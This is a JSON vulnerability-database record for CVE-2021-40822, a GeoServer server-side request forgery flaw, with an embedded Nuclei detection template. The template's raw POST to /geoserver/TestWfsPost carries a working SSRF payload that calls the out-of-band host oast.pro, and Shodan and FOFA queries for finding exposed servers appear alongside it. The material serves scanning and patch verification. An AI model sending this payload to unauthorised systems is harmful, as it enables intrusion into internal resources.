{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-40822/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-40822/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-40822/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-40822/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-40822/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-40822"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-40822"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-40822.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2021-40822\n\ninfo:\n  name: Geoserver - Server-Side Request Forgery\n  author: For3stCo1d,aringo-bf\n  severity: high\n  description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.\n  remediation: |\n    Apply the latest security patches or updates provided by the Geoserver project to mitigate the SSRF vulnerability.\n  reference:\n    - https://gccybermonks.com/posts/cve-2021-40822/\n    - https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3\n    - https://github.com/geoserver/geoserver/releases\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-40822\n    - https://osgeo-org.atlassian.net/browse/GEOS-10229\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2021-40822\n    cwe-id: CWE-918\n    epss-score: 0.19259\n    epss-percentile: 0.97242\n    cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: osgeo\n    product: geoserver\n    shodan-query:\n      - title:\"GeoServer\"\n      - http.title:\"geoserver\"\n    fofa-query:\n      - app=\"GeoServer\"\n      - app=\"geoserver\"\n      - title=\"geoserver\"\n    google-query: intitle:\"geoserver\"\n  tags: cve2021,cve,ssrf,geoserver,osgeo,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/geoserver/\"\n\n    stop-at-first-match: true\n    redirects: true\n    max-redirects: 3\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"geoserver.web\"\n          - \"geoserverbasepage\"\n          - \"GeoServer: Redirecting\"\n        internal: true\n        case-insensitive: true\n\n  - raw:\n      - |\n        POST /geoserver/TestWfsPost HTTP/1.1\n        Host: oast.pro\n        Content-Type: application/x-www-form-urlencoded\n\n        form_hf_0=&url=http://oast.pro/geoserver/../&body=&username=&password=\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<b>Interactsh</b>\"\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100b3994b68615924ef97807d3bad2994ca6556a74da24c7b65bfe752f8b1d684ba022100982fc6b672420d6e9d6d28ff9936a5f3218693238f634f50e84a7ec62567164c:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-40822"
}